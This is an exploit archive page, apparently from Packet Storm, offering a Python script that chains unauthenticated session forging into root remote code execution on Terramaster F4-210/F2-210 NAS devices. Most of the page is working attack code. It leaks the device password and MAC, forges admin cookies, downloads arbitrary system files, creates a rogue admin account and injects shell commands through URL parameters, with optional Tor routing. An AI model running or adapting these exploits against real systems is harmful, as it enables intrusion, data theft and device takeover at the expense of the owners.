what you don't know can hurt you

Terramaster F4-210 / F2-210 Remote Code Execution

Terramaster F4-210 / F2-210 Remote Code Execution
Posted Dec 28, 2021
Authored by n0tme | Site thatsn0tmy.site

Terramaster F4-210 and F2-210 chained exploit that performs session crafting to achieve escalated privileges that then allows an attacker to access vulnerable code execution flaws. TOS versions 4.2.x are affected.

tags | exploit, code execution
SHA-256 | 280fe87f73ebbd9b65c98174e56a305596930cb8ba4ec478c59ce61cce93ca5f

Terramaster F4-210 / F2-210 Remote Code Execution

Change Mirror Download
#/bin/env python

"""
Product: Terramaster F4-210, Terramaster F2-210
Version: TOS 4.2.X (4.2.15-2107141517)
Author: n0tme (thatsn0tmysite)
Description: Chain from unauthenticated to root via session crafting.
"""

import urllib3
import requests
import json
import argparse
import hashlib
import time
import os

TARGET = None
MAC_ADDRESS = None
PWD = None
TIMESTAMP = None

def tos_encrypt_str(toencrypt):
key = MAC_ADDRESS[6:]
return hashlib.md5(f"{key}{toencrypt}".encode("utf8")).hexdigest()

def user_session(session, username):
session.cookies.clear()
cookies = {"kod_name":username, "kod_token":tos_encrypt_str(PWD)}
if username == "guest":
cookies = {"kod_name":"guest", "kod_token":tos_encrypt_str("")}

for name,value in cookies.items():
session.cookies[name] = value

def download(session, path, save_as=None):
user_session(session, "guest")
r=session.post(f"{TARGET}/module/api.php?mobile/fileDownload", data={"path":path})
filename = os.path.basename(path)
if save_as is not None:
filename = save_as
with open(filename, "wb") as file:
file.write(r.content)

def get_admin_users(session):
download(session, "/etc/group", save_as="/tmp/terramaster_group")
with open("/tmp/terramaster_group", "r") as groups:
for line in groups:
line = line.strip()
fields = line.split(':')
if fields[0] == "admin":
users = fields[3].split(",")
os.remove("/tmp/terramaster_group")
return users

if __name__ == '__main__':
p = argparse.ArgumentParser()
p.add_argument(dest="target", help="Target URL (e.g. http://10.0.0.100:8181)")
p.add_argument("--cmd", dest="cmd", help="Command to run", default="id")
p.add_argument("-d", "--download", dest="download", help="Only download file", default=None)
p.add_argument("-o", "--output", dest="save_as", help="Save downloaded file as", default=None)
p.add_argument("-c", "--create", dest="create", help="Only create admin user (format should be admin:password)", default=None)
p.add_argument("--tor", dest="tor", default=False, action="store_true", help="Use TOR")
p.add_argument("--rce", dest="rce", default=0, type=int, help="RCE to use (1 and 2 have no output)")
args = p.parse_args()
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

TARGET = args.target

s = requests.Session()
if args.tor:
s.proxies = {"http":"socks5://127.0.0.1:9050", "https": "socks5://127.0.0.1:9050"}
s.headers.update({"user-device":"TNAS", "user-agent":"TNAS"})

r=s.post(f"{TARGET}/module/api.php?mobile/wapNasIPS")
try:
j = r.json()
PWD = j["data"]["PWD"]
MAC_ADDRESS = j["data"]["ADDR"]
except KeyError:
exit(1)

TIMESTAMP = str(int(time.time()))
s.headers.update({"signature": tos_encrypt_str(TIMESTAMP), "timestamp": TIMESTAMP})
s.headers.update({"authorization": PWD})

if args.download != None:
download(s, args.download, save_as=args.save_as)
exit(0)

#RCEs
RCEs=[f"{TARGET}/tos/index.php?app/del&id=0&name=;{args.cmd};xx%23",
f"{TARGET}/tos/index.php?app/hand_app&name=;{args.cmd};xx.tpk", #BLIND
f"{TARGET}/tos/index.php?app/app_start_stop&id=ups&start=0&name=donotcare.*.oexe;{args.cmd};xx"] #BLIND

for admin in get_admin_users(s):
user_session(s, admin)
if args.create != None:
user, password = args.create.split(":")
groups = json.dumps(["allusers", "admin"])
r=s.post(f"{TARGET}/module/api.php?mobile/__construct")
r=s.post(f"{TARGET}/module/api.php?mobile/set_user_information", data={"groups":groups, "username":user,"operation":"0","password":password,"capacity":""})
if "create user successful!" in str(r.content, "utf8"):
print(r.content)
break
continue

r = s.get(RCEs[args.rce])
content = str(r.content, "utf-8")
if "<!--user login-->" not in content:
print(content)
exit(0)
Login or Register to add favorites

File Archive:

May 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    0 Files
  • 2
    May 2nd
    15 Files
  • 3
    May 3rd
    19 Files
  • 4
    May 4th
    24 Files
  • 5
    May 5th
    15 Files
  • 6
    May 6th
    14 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    13 Files
  • 10
    May 10th
    7 Files
  • 11
    May 11th
    99 Files
  • 12
    May 12th
    45 Files
  • 13
    May 13th
    7 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    26 Files
  • 18
    May 18th
    4 Files
  • 19
    May 19th
    17 Files
  • 20
    May 20th
    2 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close